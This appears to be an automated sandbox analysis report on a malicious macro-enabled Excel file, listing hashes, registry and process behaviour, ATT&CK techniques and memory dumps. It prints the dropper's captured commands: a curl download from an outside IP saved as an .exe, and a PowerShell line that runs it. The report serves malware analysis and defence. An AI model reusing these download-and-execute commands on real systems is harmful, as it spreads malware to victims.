c22f5817947c2a1788f8d83d1eda81705a87b379be043c4e164521e437431050

General

Target

341043-627265-451614.xlsm
Size

128KB
MD5

a65ff428ba4c147740a7022a80d00337
SHA1

e767847f763a7eb62cb610899a4d324a33d295db
SHA256

c22f5817947c2a1788f8d83d1eda81705a87b379be043c4e164521e437431050
SHA512

7fe2df5ceba5009827374d8bfb1d93f05aa04be97f15f36b8da3e74eec168793c7c1f8d40f32c75811dd55898d0b0bcd1dfc5629ebb57266dfea70c9576b1058

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1476	1104	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	612	1104	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1104 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1476 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1476 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

1104 EXCEL.EXE
1104 EXCEL.EXE
1104 EXCEL.EXE
1104 EXCEL.EXE
1104 EXCEL.EXE
1104 EXCEL.EXE

pid	process
1104	EXCEL.EXE

pid	process
1476	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1476	powershell.exe

pid	process
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE
1104	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 1104 wrote to memory of 1476	1104	EXCEL.EXE	powershell.exe
PID 1104 wrote to memory of 1476	1104	EXCEL.EXE	powershell.exe
PID 1104 wrote to memory of 1476	1104	EXCEL.EXE	powershell.exe
PID 1104 wrote to memory of 1476	1104	EXCEL.EXE	powershell.exe
PID 1104 wrote to memory of 612	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 612	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 612	1104	EXCEL.EXE	cmd.exe
PID 1104 wrote to memory of 612	1104	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\341043-627265-451614.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1104

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\AyBtH.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1476

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\AyBtH.exe
2⤵
- Process spawned unexpected child process
PID:612

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/612-63-0x0000000000000000-mapping.dmp

Download
memory/1104-60-0x0000000071D01000-0x0000000071D03000-memory.dmp

Filesize
8KB

Download
memory/1104-61-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1104-59-0x000000002F751000-0x000000002F754000-memory.dmp

Filesize
12KB

Download
memory/1476-69-0x00000000049F2000-0x00000000049F3000-memory.dmp

Filesize
4KB

Download
memory/1476-78-0x0000000006160000-0x0000000006161000-memory.dmp

Filesize
4KB

Download
memory/1476-65-0x00000000049F0000-0x00000000049F1000-memory.dmp

Filesize
4KB

Download
memory/1476-66-0x00000000006B0000-0x00000000006B1000-memory.dmp

Filesize
4KB

Download
memory/1476-67-0x0000000004A30000-0x0000000004A31000-memory.dmp

Filesize
4KB

Download
memory/1476-68-0x00000000024A0000-0x00000000024A1000-memory.dmp

Filesize
4KB

Download
memory/1476-62-0x0000000000000000-mapping.dmp

Download
memory/1476-70-0x00000000025D0000-0x00000000025D1000-memory.dmp

Filesize
4KB

Download
memory/1476-73-0x0000000006120000-0x0000000006121000-memory.dmp

Filesize
4KB

Download
memory/1476-64-0x0000000076E11000-0x0000000076E13000-memory.dmp

Filesize
8KB

Download
memory/1476-79-0x00000000063C0000-0x00000000063C1000-memory.dmp

Filesize
4KB

Download
memory/1476-80-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1476-87-0x0000000006320000-0x0000000006321000-memory.dmp

Filesize
4KB

Download
memory/1476-88-0x00000000064A0000-0x00000000064A1000-memory.dmp

Filesize
4KB

Download
memory/1476-89-0x00000000062C0000-0x00000000062C1000-memory.dmp

Filesize
4KB

Download
memory/1476-103-0x00000000065C0000-0x00000000065C1000-memory.dmp

Filesize
4KB

Download
memory/1476-104-0x00000000065D0000-0x00000000065D1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads